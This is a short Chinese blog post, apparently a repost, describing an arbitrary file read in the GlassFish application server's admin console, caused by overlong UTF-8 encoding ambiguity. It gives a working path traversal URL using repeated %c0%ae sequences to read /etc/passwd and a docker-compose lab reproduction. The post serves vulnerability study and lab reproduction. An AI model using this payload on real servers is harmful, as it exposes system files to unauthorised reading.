GlassFish 任意文件读取漏洞

1、简介

glassfish是一款java编写的跨平台的开源的应用服务器。

2、漏洞分析

与宽字节SQL注入一致,都是由于unicode编码歧义导致的。具体payload如下构造:

https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

3、漏洞复现

docker-compose up -d

问https://192.168.20.128:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

发现已成功读取/etc/passwd内容:

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/106730594